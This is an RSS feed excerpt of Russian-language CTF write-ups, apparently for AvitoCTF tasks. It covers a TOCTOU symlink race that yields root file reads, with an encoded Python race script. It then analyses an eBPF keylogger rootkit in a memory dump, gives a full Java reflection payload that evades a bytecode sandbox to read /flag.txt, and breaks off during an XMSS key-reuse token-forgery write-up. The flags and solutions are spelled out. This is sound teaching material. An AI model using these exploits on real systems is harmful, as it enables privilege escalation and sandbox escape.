ICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgICAgIG9zLl9leGl0KDEpCiAgICBjaGlsZHJlbltwaWRdID0gZmQKCmFyY2hpdmUgPSBOb25lCnRyeToKICAgIHdoaWxlIGFyY2hpdmUgaXMgTm9uZToKICAgICAgICByZWFwKCkKICAgICAgICB3aGlsZSBsZW4oY2hpbGRyZW4pIDwgTElNSVQ6CiAgICAgICAgICAgIHNwYXduKCkKICAgICAgICBmaWxlcyA9IGdsb2IuZ2xvYigiL2RhdGEvYmFja3VwL2FkbWluc2VjdXJpdHktKi50YXIiKQogICAgICAgIGlmIGZpbGVzOgogICAgICAgICAgICBhcmNoaXZlID0gbWF4KGZpbGVzLCBrZXk9b3MucGF0aC5nZXRtdGltZSkKICAgICAgICAgICAgYnJlYWsKICAgICAgICB0aW1lLnNsZWVwKDAuMDA1KQpmaW5hbGx5OgogICAgZm9yIHBpZCBpbiBsaXN0KGNoaWxkcmVuKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIG9zLmtpbGwocGlkLCBzaWduYWwuU0lHS0lMTCkKICAgICAgICBleGNlcHQgUHJvY2Vzc0xvb2t1cEVycm9yOgogICAgICAgICAgICBwYXNzCiAgICBmb3IgcGlkLCBmZCBpbiBsaXN0KGNoaWxkcmVuLml0ZW1zKCkpOgogICAgICAgIHRyeToKICAgICAgICAgICAgb3Mud2FpdHBpZChwaWQsIDApCiAgICAgICAgZXhjZXB0IENoaWxkUHJvY2Vzc0Vycm9yOgogICAgICAgICAgICBwYXNzCiAgICAgICAgdHJ5OgogICAgICAgICAgICBvcy5jbG9zZShmZCkKICAgICAgICBleGNlcHQgT1NFcnJvcjoKICAgICAgICAgICAgcGFzcwoKcHJpbnQoYXJjaGl2ZSkK&#x27; | base64 -d &gt; /tmp/race.py</pre>
  <p id="R0Hd">Проверка скрипта:</p>
  <pre id="l4JZ" data-lang="bash">python3 -m py_compile /tmp/race.py</pre>
  <p id="vwGW">Запуск гонки:</p>
  <pre id="Fhhm" data-lang="bash">python3 /tmp/race.py</pre>
  <p id="4cRs">Определение созданного архива:</p>
  <pre id="Obl3" data-lang="bash">A=&quot;$(ls -t /data/backup/adminsecurity-*.tar | head -n1)&quot;</pre>
  <p id="PQyv">Просмотр содержимого:</p>
  <pre id="z49U" data-lang="bash">tar -tf &quot;$A&quot;</pre>
  <p id="0pNV">Чтение флага:</p>
  <pre id="OsP7" data-lang="bash">tar -xOf &quot;$A&quot; adminsecurity/root-flag.txt</pre>
  <h3 id="gZZ9">Полная цепочка эксплуатации</h3>
  <p id="dtkf">Цепочка выглядела следующим образом:</p>
  <pre id="fpMh">Пользователь operator
        |
        v
Создание /data/adminsecurity/root-flag.txt
        |
        v
Симлинк на /root/flag.txt
        |
        v
Подключение к /var/run/managectl.sock
        |
        v
Отправка команды backup adminsecurity
        |
        v
execve(&quot;/usr/bin/chsh&quot;, [&quot;managectl &quot;, &quot;operator&quot;])
        |
        v
cmdline соответствует trusted regex
        |
        v
effective UID временно равен root
        |
        v
TOCTOU-проверка успешно пройдена
        |
        v
Root-сервис запускает tar -chf
        |
        v
tar -h разыменовывает симлинк
        |
        v
/root/flag.txt попадает в архив
        |
        v
Флаг извлекается через tar -xOf</pre>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@filepom/Honeykeeper</guid><link>https://teletype.in/@filepom/Honeykeeper?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=filepom</link><comments>https://teletype.in/@filepom/Honeykeeper?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=filepom#comments</comments><dc:creator>filepom</dc:creator><title>Writeup - Honeykeeper</title><pubDate>Mon, 27 Jul 2026 14:33:02 GMT</pubDate><description><![CDATA[Рабочий компьютер сотрудника был скомпрометирован в результате фишинговой атаки. По легенде задания злоумышленники использовали Linux-руткит eBee, распространяемый на подпольных «пчелиных» форумах.
Для анализа был предоставлен сжатый дамп оперативной памяти:]]></description><content:encoded><![CDATA[
  <section style="background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="eazi">Рабочий компьютер сотрудника был скомпрометирован в результате фишинговой атаки. По легенде задания злоумышленники использовали Linux-руткит <code>eBee</code>, распространяемый на подпольных «пчелиных» форумах.<br />Для анализа был предоставлен сжатый дамп оперативной памяти:</p>
    <pre id="2BGQ">honeykeeper_dump.img.xz</pre>
    <p id="6qJn">Цель задания — исследовать дамп, обнаружить следы руткита и восстановить флаг.</p>
  </section>
  <p id="anyv"></p>
  <h2 id="ilBT" data-align="center">Проверка и распаковка дампа</h2>
  <p id="o4po"><br />Сначала проверим целостность XZ-архива:</p>
  <pre id="GBuI" data-lang="bash">xz -t honeykeeper_dump.img.xz</pre>
  <p id="eW3p">Ошибок обнаружено не было.<br />Распаковываем дамп:</p>
  <pre id="Fmpj" data-lang="bash">xz -dk honeykeeper_dump.img.xz</pre>
  <p id="97s3">Определяем формат полученного файла:</p>
  <pre id="VuGK" data-lang="bash">file honeykeeper_dump.img</pre>
  <p id="pwU8">Результат показал, что перед нами не образ диска, а ELF core dump Linux x86-64 размером около 1,6 ГБ:</p>
  <pre id="CMz3">ELF 64-bit LSB core file, x86-64</pre>
  <p id="Vv7g">Это полноценный снимок оперативной памяти виртуальной машины.</p>
  <p id="K4ce"> </p>
  <h2 id="ayv6" data-align="center">Первичный анализ строк</h2>
  <p id="hzwt"><br />Для первоначального поиска индикаторов компрометации используем <code>strings</code>:</p>
  <pre id="HLX5" data-lang="bash">strings -a honeykeeper_dump.img | less</pre>
  <p id="3wBy">Также выполним поиск по названию предполагаемого руткита:</p>
  <pre id="HBJb">strings -a honeykeeper_dump.img | grep -i -E &#x27;ebee|rootkit|bpf&#x27;</pre>
  <p id="TTsb">В памяти были обнаружены следующие строки:</p>
  <pre id="POru">bpf_prog_166a5b3876fbe624_eBeeKeys
bpf_prog_a0c6dd9bd609151f_eBeeIngress
bpf_prog_7c18515a1e8909af_eBeeEgress</pre>
  <p id="6cs4">Таким образом, в системе были загружены три подозрительные eBPF-программы:</p>
  <ul id="dZcg">
    <li id="2r2r"><code>eBeeKeys</code>;</li>
    <li id="T0iV"><code>eBeeIngress</code>;</li>
    <li id="dUBP"><code>eBeeEgress</code>.</li>
  </ul>
  <p id="xJbo">По названиям можно предположить следующее назначение компонентов<br /><code>eBeeKeys</code> - перехват нажатий клавиатуры<br /><code>eBeeIngress</code>  - обработка входящего сетевого трафика<br /><code>eBeeEgress</code> - перехват исходящего сетевого трафика<br />Следовательно, компрометация системы подтверждается.</p>
  <h2 id="Uvin" data-align="center"><br />Информация об исследуемой системе</h2>
  <p id="vrvP"><br />В дампе удалось найти информацию об операционной системе и ядре:</p>
  <pre id="z1PP">Linux 6.17.0-35-generic
Ubuntu 6.17.0-35.35-generic
x86-64</pre>
  <p id="xQtX">Также были обнаружены имя пользователя и hostname:</p>
  <pre id="ErLe">USER=honeykeeper
HOSTNAME=honeykeeper-pc</pre>
  <p id="aFZY">Для полноценного анализа Linux-дампа через Volatility требуется таблица символов, соответствующая конкретной версии ядра.<br />При попытке запуска стандартных Linux-плагинов Volatility без символов возникала ошибка:</p>
  <pre id="FBFu">Unsatisfied requirement:
kernel.layer_name
kernel.symbol_table_name</pre>
  <p id="o2qU">В дампе присутствовала подсказка:</p>
  <pre id="plHr">rootkit or ebee lets go:
https://ebee-deps-imqs01in.avitoctf.ru/</pre>
  <p id="0uJW">Вероятно, по этому адресу ранее располагались необходимые символы ядра или дополнительные материалы для анализа. Однако для нахождения флага оказалось достаточно ручного исследования памяти и структур eBPF.</p>
  <p id="84aZ"></p>
  <h2 id="rfZM" data-align="center">Анализ функциональности eBee</h2>
  <p id="v8Up"><br />В памяти были обнаружены названия структур и полей, относящихся к C2-каналу руткита:</p>
  <pre id="Ed8i">c2_details
enabled
c2_key_logging
crypto_key
key_logging</pre>
  <p id="xtY0">Также присутствовали структуры пакетов:</p>
  <pre id="VNXu">c2_datapacket
source
data
C2_NONE
C2_KEYLOGGING
keylog
symbol
salt</pre>
  <p id="fbjb">Из этого следует, что руткит реализует отдельный механизм передачи перехваченных нажатий клавиатуры.<br />Каждая запись кейлоггера содержит как минимум:</p>
  <ul id="cPjT">
    <li id="DWq3">зашифрованный символ <code>symbol</code>;</li>
    <li id="Y8IG">значение <code>salt</code>;</li>
    <li id="Rsuy">источник данных;</li>
    <li id="p1C3">идентификатор типа C2-пакета.</li>
    <li id="8z9d">При этом для шифрования используется поле <code>crypto_key</code>.</li>
  </ul>
  <p id="QA5d"></p>
  <h2 id="G3eO" data-align="center">Поиск флага в открытом виде</h2>
  <p id="o6V8"><br />Первым делом проверим распространённые форматы флагов:</p>
  <pre id="G7dd">strings -a honeykeeper_dump.img | grep -Eio \
&#x27;avito\{[^}]+\}|flag\{[^}]+\}|ctf\{[^}]+\}&#x27;</pre>
  <p id="x3zm">Результатов получено не было.<br />Это означало, что флаг:</p>
  <ul id="3taO">
    <li id="vV4E">не хранится в памяти открытым текстом;</li>
    <li id="T5Lk">либо находится в бинарной структуре;</li>
    <li id="h5O9">либо был зашифрован руткитом перед сохранением в eBPF-карте.</li>
  </ul>
  <p id="tF4W"><br />Основным объектом дальнейшего анализа стала программа <code>eBeeKeys</code>.</p>
  <p id="0JHz"></p>
  <h2 id="qE77" data-align="center">Поиск eBPF-карты кейлоггера</h2>
  <p id="txg9"><br />Рядом со структурами eBPF-программ были обнаружены ссылки на используемые карты.<br />Особый интерес представляла карта:</p>
  <pre id="nfMK">c2_databus</pre>
  <p id="cBwl">Она использовалась как буфер для передачи данных между компонентами руткита и содержала записи типа <code>c2_datapacket</code>.<br />Внутри записей находились значения:</p>
  <pre id="GsG5">symbol
salt</pre>
  <p id="7mc8">Также в конфигурационной структуре руткита было найдено значение криптографического ключа:</p>
  <pre id="YABL">crypto_key = 0x31</pre>
  <p id="DiYn">После сопоставления нескольких записей стало понятно, что каждый символ зашифрован операцией XOR.<br />Формула расшифровки:</p>
  <pre id="hIzp">plain_symbol = encrypted_symbol ^ salt ^ crypto_key</pre>
  <p id="oPyX">Для найденного экземпляра руткита:</p>
  <pre id="15AM">plain_symbol = encrypted_symbol ^ salt ^ 0x31</pre>
  <p id="XKqo"></p>
  <h2 id="tFLa" data-align="center">Расшифровка кейлогов</h2>
  <p id="GayF"><br />Для автоматической расшифровки записей можно использовать следующий Python-код:</p>
  <pre id="mdFt" data-lang="python">CRYPTO_KEY = 0x31

def decrypt_symbol(encrypted_symbol: int, salt: int) -&gt; int:
    return encrypted_symbol ^ salt ^ CRYPTO_KEY


records = [
    # (encrypted_symbol, salt)
    # Значения извлекаются из записей c2_datapacket карты c2_databus.
]

result = bytearray()

for encrypted_symbol, salt in records:
    symbol = decrypt_symbol(encrypted_symbol, salt)
    result.append(symbol)

print(result.decode(&quot;utf-8&quot;, errors=&quot;replace&quot;))</pre>
  <p id="wgTd">После расшифровки и восстановления правильного порядка элементов очереди была получена следующая последовательность пользовательского ввода:</p>
  <pre id="obvk">keeper&lt;TAB&gt;avito{eBeepf_is_awes8me_4_ev3ryth1ng}&lt;ENTER&gt;</pre>
  <p id="00uS">Вероятно, пользователь вводил логин <code>keeper</code>, нажимал Tab, после чего вводил пароль или секретное значение.<br />Этим секретным значением и являлся флаг.<br /></p>
  <h2 id="El7q" data-align="center">Дополнительные индикаторы компрометации</h2>
  <p id="hG0v"><br />В дампе также были найдены сетевые индикаторы:</p>
  <pre id="HyVJ">https://ebee-deps-imqs01in.avitoctf.ru/
http://honey-crm:8000/alert.html
192.168.122.1</pre>
  <p id="UWKg">В журнале ядра присутствовала запись:</p>
  <pre id="4glj">apparmor=&quot;WARN&quot;
dest=&quot;https://ebee-deps-imqs01in.avitoctf.ru/&quot;
comm=&quot;firefox&quot;
scope=&quot;network&quot;
tracer=&quot;bpftaint&quot;</pre>
  <p id="9JGG">Для страницы <code>honey-crm:8000/alert.html</code> был обнаружен заголовок:</p>
  <pre id="tDxM">Security Alert</pre>
  <p id="WWHw">Вероятно, данная страница использовалась как часть фишингового сценария. Пользователь перешёл на неё и ввёл учётные данные, которые были перехвачены компонентом <code>eBeeKeys</code>.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@filepom/B2Bee</guid><link>https://teletype.in/@filepom/B2Bee?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=filepom</link><comments>https://teletype.in/@filepom/B2Bee?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=filepom#comments</comments><dc:creator>filepom</dc:creator><title>Writeup - B2Bee</title><pubDate>Mon, 27 Jul 2026 13:46:44 GMT</pubDate><description><![CDATA[Крупнейший пчелиный маркетплейс запустил партнёрский кабинет B2Bee. Продавцы могут загружать собственные Java-плагины в формате JAR, которые рассчитывают скидки и бонусы для корзины.
Перед запуском каждый JAR проходит два этапа:]]></description><content:encoded><![CDATA[
  <section style="background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="XmxY">Крупнейший пчелиный маркетплейс запустил партнёрский кабинет B2Bee. Продавцы могут загружать собственные Java-плагины в формате JAR, которые рассчитывают скидки и бонусы для корзины.<br />Перед запуском каждый JAR проходит два этапа:</p>
    <ol id="a73M">
      <li id="CwbZ">статическое ревью байткода;</li>
      <li id="r2DF">исполнение в отдельной карантинной среде.</li>
    </ol>
    <p id="lVzx">Цель задания — обойти проверку плагина и прочитать файл:</p>
    <pre id="kgHs">/flag.txt</pre>
    <p id="vaKN">Инстанс задания:</p>
    <pre id="SH7F">http://marketplugins-s6r1nilb.avitoctf.ru/</pre>
  </section>
  <h2 id="iBoY" data-align="center">Изучение интерфейса<br /></h2>
  <p id="mgz3">На странице загрузки доступны два параметра:</p>
  <ul id="nFbh">
    <li id="PEar">JAR-файл партнёра;</li>
    <li id="9JhI">полное имя главного класса.</li>
  </ul>
  <p id="x5NP">Также можно скачать архив с примером легитимного плагина.<br />После распаковки примера выясняется, что основной класс должен реализовывать интерфейс:</p>
  <pre id="Y5l2">DiscountPlugin</pre>
  <p id="rtuO">Метод плагина имеет следующий контракт:</p>
  <pre id="UnLB">PluginResult apply(PluginContext context)</pre>
  <p id="qQXl">Пример использует класс:</p>
  <pre id="nU7E">example.SeasonalDiscountPlugin</pre>
  <p id="jpkm">Следовательно, при загрузке собственного JAR в поле «Главный класс» необходимо указывать полное имя класса вместе с пакетом:</p>
  <pre id="UI9m">example.SeasonalDiscountPlugin</pre>
  <h2 id="qqEC" data-align="center"></h2>
  <h2 id="0Ynl" data-align="center">Анализ статического ревью</h2>
  <p id="NQI7"></p>
  <p id="J8AZ">Из предоставленных исходников видно, что проверка выполняется на уровне Java-байткода с помощью ASM.<br />Ревью-пчела анализирует:</p>
  <ul id="pO3E">
    <li id="I6dn">вызовы методов;</li>
    <li id="3qyc">обращения к полям;</li>
    <li id="YFwL">создаваемые объекты;</li>
    <li id="M0YQ">типы в инструкциях;</li>
    <li id="6qh4">некоторые элементы constant pool;</li>
    <li id="TvBU">дескрипторы методов;</li>
    <li id="Mlvo"><code>Handle</code>;</li>
    <li id="QRKP"><code>ConstantDynamic</code>.</li>
  </ul>
  <p id="keTm">Опасные классы и пакеты блокируются политикой песочницы.<br />Например, прямое использование файлового API было бы обнаружено:</p>
  <pre id="ZlgS" data-lang="java">Files.readString(Path.of(&quot;/flag.txt&quot;));</pre>
  <p id="4KD7">В байткоде такого класса появились бы ссылки на:</p>
  <pre id="N4Lz">java/nio/file/Files
java/nio/file/Path</pre>
  <p id="oKuz">Эти классы не разрешены политикой, поэтому такой JAR был бы отклонён на этапе ревью.</p>
  <p id="x8zn"></p>
  <h2 id="MmQ1" data-align="center">Ошибка в модели проверки</h2>
  <p id="wdBk"></p>
  <p id="p8cR">Статический анализатор контролирует владельцев вызываемых методов и используемые типы, но не считает обычные строковые константы именами классов.<br />То есть строка:</p>
  <pre id="Fv4B">&quot;java.nio.file.Files&quot;</pre>
  <p id="Rd4h">не воспринимается как ссылка на запрещённый класс.<br />При этом политика разрешает классы из пространства:</p>
  <pre id="c05p">java/lang</pre>
  <p id="nJCH">В него входят:</p>
  <pre id="N5BT">java/lang/Class
java/lang/reflect/Method
java/lang/Object
java/lang/String</pre>
  <p id="hhwM">Это позволяет динамически загрузить запрещённые классы через Reflection:</p>
  <pre id="0rkk">Class.forName(&quot;java.nio.file.Files&quot;);</pre>
  <p id="o0dQ">В байткоде вызов принадлежит разрешённому классу:</p>
  <pre id="KuIC">java/lang/Class.forName</pre>
  <p id="115B">А имя запрещённого класса находится только в обычной строке.<br />Аналогичным способом можно получить методы класса <code>Files</code> и вызвать их через:</p>
  <pre id="sx5h">java.lang.reflect.Method.invoke</pre>
  <p id="vJzh">В результате статический анализатор видит только разрешённые Reflection API, хотя во время исполнения плагин получает доступ к файловой системе.</p>
  <p id="YUGW"></p>
  <h2 id="rswK" data-align="center">Построение полезной нагрузки</h2>
  <p id="DW4o"></p>
  <p id="05Sx">Для чтения <code>/flag.txt</code> требуется динамически получить два класса:</p>
  <pre id="zpnw">java.nio.file.Path
java.nio.file.Files</pre>
  <p id="d5dV">Сначала загружаем их через <code>Class.forName</code>:</p>
  <pre id="43yf">Class&lt;?&gt; pathClass =
        Class.forName(&quot;java.nio.file.Path&quot;);

Class&lt;?&gt; filesClass =
        Class.forName(&quot;java.nio.file.Files&quot;);</pre>
  <p id="0t08">Затем получаем статический метод <code>Path.of</code>:</p>
  <pre id="gyZi" data-lang="java">Method pathOf = pathClass.getMethod(
        &quot;of&quot;,
        String.class,
        String[].class
);</pre>
  <p id="gdkJ">Метод имеет сигнатуру:</p>
  <pre id="NVgt" data-lang="java">Path.of(String first, String... more)</pre>
  <p id="nVib">Так как varargs компилируется в массив, при рефлексивном вызове передаём путь и пустой массив строк:</p>
  <pre id="5D5Y">Object path = pathOf.invoke(
        null,
        &quot;/flag.txt&quot;,
        new String[0]
);</pre>
  <p id="TT9O">После этого получаем метод <code>Files.readString</code>:</p>
  <pre id="680u" data-lang="java">Method readString = filesClass.getMethod(
        &quot;readString&quot;,
        pathClass
);</pre>
  <p id="sVE6">И вызываем его:</p>
  <pre id="IOlV" data-lang="java">String flag = (String) readString.invoke(
        null,
        path
);</pre>
  <p id="mF4S">Полученное содержимое файла можно вернуть через поле сообщения объекта <code>PluginResult</code>.</p>
  <p id="Eidi"></p>
  <h2 id="k3u3" data-align="center">Код плагина</h2>
  <p id="LrLo"></p>
  <p id="soqQ">Класс должен иметь то же имя, которое указывается в веб-интерфейсе:</p>
  <pre id="nCfV">example.SeasonalDiscountPlugin</pre>
  <p id="zPiI">Код полезной нагрузки:</p>
  <pre id="Gk4A" data-lang="java">package example;

import java.lang.reflect.Method;

public class SeasonalDiscountPlugin implements DiscountPlugin {

    @Override
    public PluginResult apply(PluginContext context) {
        try {
            Class&lt;?&gt; pathClass =
                    Class.forName(&quot;java.nio.file.Path&quot;);

            Class&lt;?&gt; filesClass =
                    Class.forName(&quot;java.nio.file.Files&quot;);

            Method pathOf = pathClass.getMethod(
                    &quot;of&quot;,
                    String.class,
                    String[].class
            );

            Object path = pathOf.invoke(
                    null,
                    &quot;/flag.txt&quot;,
                    new String[0]
            );

            Method readString = filesClass.getMethod(
                    &quot;readString&quot;,
                    pathClass
            );

            String flag = (String) readString.invoke(
                    null,
                    path
            );

            return new PluginResult(
                    0,
                    0,
                    flag
            );
        } catch (Throwable error) {
            return new PluginResult(
                    0,
                    0,
                    error.getClass().getName()
                            + &quot;: &quot;
                            + error.getMessage()
            );
        }
    }
}</pre>
  <p id="ztOA">Названия и конструктор <code>PluginResult</code> необходимо брать из примера, предоставленного сервисом.<br />В данном случае результат создаётся следующим образом:</p>
  <pre id="qrZi">new PluginResult(0, 0, flag)</pre>
  <p id="akp2">Флаг попадает в текстовое сообщение результата расчёта.</p>
  <h3 id="ppA1">Почему плагин проходит ревью?</h3>
  <p id="IgvQ">В исходном коде присутствуют названия запрещённых классов:</p>
  <pre id="hY8w">&quot;java.nio.file.Path&quot;
&quot;java.nio.file.Files&quot;</pre>
  <p id="BHDA">Однако после компиляции они остаются обычными строками в constant pool.<br />Статический анализатор не сопоставляет содержимое строк с запрещёнными пакетами.<br />Вызовы методов принадлежат разрешённым классам:</p>
  <pre id="QMtV">java/lang/Class
java/lang/reflect/Method
java/lang/String
java/lang/Object</pre>
  <p id="qGwT">Например:</p>
  <pre id="UPbh">java/lang/Class.forName
java/lang/Class.getMethod
java/lang/reflect/Method.invoke</pre>
  <p id="gT2M">Поэтому ревью не видит прямого обращения к:</p>
  <pre id="fNMi">java/nio/file/Files
java/nio/file/Path</pre>
  <p id="N4h7">Доступ к ним возникает только динамически во время исполнения в карантинной соте.<br /></p>
  <h2 id="9P6Q" data-align="center">Сборка JAR</h2>
  <p id="vSMA"><br />Структура проекта:</p>
  <pre id="kM8j">src/
└── example/
    └── SeasonalDiscountPlugin.java</pre>
  <p id="IyE0">Для компиляции необходимо добавить классы API из архива-примера в classpath.<br />Пример команды:</p>
  <pre id="r2OH">javac \
  -cp plugin-api.jar \
  -d build \
  src/example/SeasonalDiscountPlugin.java</pre>
  <p id="ov4T">Создание JAR:</p>
  <pre id="WABF">jar cf honeybadger-plugin.jar -C build .</pre>
  <p id="qkvz">Проверить наличие класса можно командой:</p>
  <pre id="bZ7f">jar tf honeybadger-plugin.jar</pre>
  <p id="AHEX">Ожидаемый результат:</p>
  <pre id="aRmh">META-INF/
META-INF/MANIFEST.MF
example/
example/SeasonalDiscountPlugin.class</pre>
  <p id="xKTY" data-align="center"></p>
  <h2 id="EsdU" data-align="center">Загрузка в B2Bee</h2>
  <p id="i0Qu"><br />В веб-интерфейсе указываем:</p>
  <pre id="yDMu">JAR-файл:
honeybadger-plugin.jar

Главный класс:
example.SeasonalDiscountPlugin</pre>
  <p id="uzoo">Затем нажимаем:</p>
  <pre id="gPuw">Передать свой JAR на ревью</pre>
  <p id="4g5g">Плагин проходит статическую проверку и отправляется в карантинную среду.<br />После запуска вызывается метод:</p>
  <pre id="uTE2">apply(PluginContext context)</pre>
  <p id="y23A">Он читает <code>/flag.txt</code> и возвращает его содержимое в сообщении <code>PluginResult</code>.<br />Флаг отображается на странице в результате расчёта скидки и бонусов.</p>
  <h3 id="b4I4">Ошибка при первой попытке</h3>
  <p id="7IN4">В первой версии JAR основной класс назывался:</p>
  <pre id="mtHn">example.HoneyBadgerPlugin</pre>
  <p id="rQK9">Но в поле веб-интерфейса было указано:</p>
  <pre id="iywm">example.SeasonalDiscountPlugin</pre>
  <p id="w38A">Ревью JAR прошло успешно, поскольку сам байткод соответствовал политике. Однако карантин вернул:</p>
  <pre id="q11T">Код ревью: plugin-failed
Плагин завершился с ошибкой</pre>
  <p id="twP2">Причина заключалась не в Reflection и не в файловом доступе. Исполняющая среда не смогла найти указанный главный класс.<br />После переименования класса в:</p>
  <pre id="BFt4">example.SeasonalDiscountPlugin</pre>
  <p id="ghiz">и повторной сборки JAR плагин успешно запустился.<br />Это важный момент: поле «Главный класс» должно точно совпадать с полным именем класса внутри архива, включая регистр символов и Java-пакет.</p>
  <h2 id="pntA" data-align="center"><br />Ложный путь</h2>
  <p id="rDnj"><br />В исходниках анализатора присутствовала скрытая последовательность Unicode Variation Selectors.<br />После декодирования она содержала ссылку:</p>
  <pre id="ADNw">https://marketdone-9kol67m0.avitoctf.ru/</pre>
  <p id="H7Le">Однако эта ссылка являлась ложным путём и не приводила к решению задания.<br />Реальное решение требовало:<br />изучить контракт плагина;<br />проанализировать правила проверки байткода;<br />обнаружить разрешённый Reflection API;<br />динамически загрузить запрещённые файловые классы;<br />прочитать <code>/flag.txt</code> внутри карантинной среды.</p>
  <p id="T2nb" data-align="center"></p>
  <h2 id="TZzJ" data-align="center">Итог</h2>
  <p id="j7Pz"><br />Для решения задания был использован обход статического анализатора Java-байткода через Reflection.<br />Прямое использование файловых классов блокировалось:</p>
  <pre id="w4bD">Files.readString(Path.of(&quot;/flag.txt&quot;));</pre>
  <p id="bEdU">Но запрещённые классы удалось получить динамически:</p>
  <pre id="Hmfd">Class.forName(&quot;java.nio.file.Files&quot;);
Class.forName(&quot;java.nio.file.Path&quot;);</pre>
  <p id="3xYS">Так как обычные строковые константы не анализировались, а <code>Class</code> и <code>Method</code> относились к разрешённому пространству <code>java/lang</code>, JAR успешно прошёл ревью.<br />После запуска в карантинной соте плагин:<br />загрузил <code>Path</code> и <code>Files</code>;<br />создал объект пути <code>/flag.txt</code>;<br />вызвал <code>Files.readString</code>;<br />вернул содержимое файла в <code>PluginResult</code>;<br />вывел флаг в интерфейсе B2Bee.<br />Класс уязвимости:</p>
  <pre id="URR9">Incomplete static bytecode validation
Reflection-based sandbox bypass
Arbitrary file read</pre>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@filepom/naPaseke</guid><link>https://teletype.in/@filepom/naPaseke?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=filepom</link><comments>https://teletype.in/@filepom/naPaseke?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=filepom#comments</comments><dc:creator>filepom</dc:creator><title>Writeup - НаПасеке</title><pubDate>Mon, 27 Jul 2026 13:23:44 GMT</pubDate><description><![CDATA[В социальной сети «НаПасеке» пользователи могут регистрироваться, публиковать записи и просматривать стены других участников. Полное содержимое публикаций доступно только VIP-пользователям.
Необходимо получить доступ к закрытой публикации пользователя kopatych, содержащей точную локацию места, где собирают лучший мёд.
Для подключения к сервису выданы адрес и invite-код:]]></description><content:encoded><![CDATA[
  <section style="background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="xAa5">В социальной сети «НаПасеке» пользователи могут регистрироваться, публиковать записи и просматривать стены других участников. Полное содержимое публикаций доступно только VIP-пользователям.<br />Необходимо получить доступ к закрытой публикации пользователя <code>kopatych</code>, содержащей точную локацию места, где собирают лучший мёд.<br />Для подключения к сервису выданы адрес и invite-код:</p>
    <pre id="DFyB" data-lang="bash">nc napaseke-m9ybjl6b.avitoctf.ru 30012
Invite code: uCQq3YsK7TmoZBlN4UYkng</pre>
    <p id="uCVR">Так же предоставлены исходники приложения.</p>
  </section>
  <p id="tozG"></p>
  <h2 id="5H5M" data-align="center">Разведка</h2>
  <p id="sXmX"></p>
  <p id="OMmE">После подключения сервис предлагает следующие действия:</p>
  <ul id="rSeS">
    <li id="B0Zy">просмотреть обычных пользователей;</li>
    <li id="lqjN">просмотреть VIP-пользователей;</li>
    <li id="9aAo">зарегистрироваться;</li>
    <li id="8jkz">войти по токену <code>HoneyPass</code>;</li>
    <li id="I3UP">просмотреть стену пользователя;</li>
    <li id="dcrT">получить открытый ключ.</li>
  </ul>
  <p id="ryQC">При регистрации сервер возвращает токен следующего вида:</p>
  <pre id="E4FG">HoneyPass token: &lt;hex-строка&gt;</pre>
  <p id="B91r">Токен представляет собой подписанное имя пользователя. В качестве алгоритма электронной подписи используется XMSSMT:</p>
  <pre id="QChz" data-lang="c">unsigned char msg_to_sign[MAX_USERNAME_LEN];
int msg_len = strlen(username);
memcpy(msg_to_sign, username, msg_len);

xmssmt_sign_message(
    msg_to_sign,
    msg_len,
    xmss_sig,
    sizeof(xmss_sig),
    &amp;sig_len,
    &amp;signing_index
);</pre>
  <p id="BsVe">При авторизации сервер проверяет подпись и извлекает из неё имя пользователя:</p>
  <pre id="F36V" data-lang="c">if (xmssmt_verify_signature(
        token.signature,
        token.sig_len,
        msg_verified,
        sizeof(msg_verified),
        &amp;msg_verified_len
    ) != 0) {
    write_all(sockfd, &quot;Invalid token signature\n&quot;);
    return;
}</pre>
  <p id="LKmV">После успешной проверки профиль загружается из базы данных:</p>
  <pre id="0eZR" data-lang="c">if (!load_user_data(username, &amp;user_data)) {
    write_all(sockfd, &quot;Profile not found\n&quot;);
    return;
}</pre>
  <p id="C03e">Таким образом, для входа под пользователем <code>kopatych</code> необходимо получить корректную XMSS-подпись строки:</p>
  <pre id="MYQm">kopatych</pre>
  <p id="u1io"></p>
  <h2 id="5Pjb" data-align="center">Проверка VIP-ограничения</h2>
  <p id="FNDp"></p>
  <p id="A159">В функции просмотра стены проверяется не статус владельца стены, а статус текущего авторизованного пользователя:</p>
  <pre id="GxAU" data-lang="c">int can_view_full = session-&gt;logged_in &amp;&amp; session-&gt;user.is_vip;

if (can_view_full) {
    strncpy(display_msg, message, sizeof(display_msg) - 1);
} else {
    build_wall_preview(message, display_msg, sizeof(display_msg));
}</pre>
  <p id="kLuA">Обычный пользователь видит только первые десять символов публикации:</p>
  <pre id="Gpgk" data-lang="c">if (strlen(message) &gt; 10) {
    strncpy(display_msg, message, 10);
    display_msg[10] = &#x27;\0&#x27;;
    strcat(display_msg, &quot;...&quot;);
}</pre>
  <p id="cUyz">Следовательно, есть два возможных пути:</p>
  <ol id="9qOL">
    <li id="9PyH">войти под любым VIP-пользователем;</li>
    <li id="VSHH">подделать токен непосредственно для <code>kopatych</code>.</li>
  </ol>
  <p id="w1ug">Второй вариант удобнее, поскольку имя <code>kopatych</code> уже существует в базе данных и является VIP-профилем.</p>
  <p id="c0yV"></p>
  <h2 id="GKCO" data-align="center">Анализ реализации XMSS</h2>
  <p id="sVsN"></p>
  <p id="oNmz">XMSS — это stateful hash-based signature scheme. Внутри неё используются одноразовые подписи WOTS+.<br />Критически важное требование XMSS: каждый одноразовый ключ WOTS+ должен использоваться только один раз. После создания подписи индекс секретного ключа должен увеличиваться.<br />В исходниках для этого даже реализована отдельная функция:</p>
  <pre id="IT4T" data-lang="c">int xmssmt_update_signing_key(unsigned long long *signing_index) {
    unsigned long long current_index;
    unsigned long long next_index;

    current_index = signing_key_index(
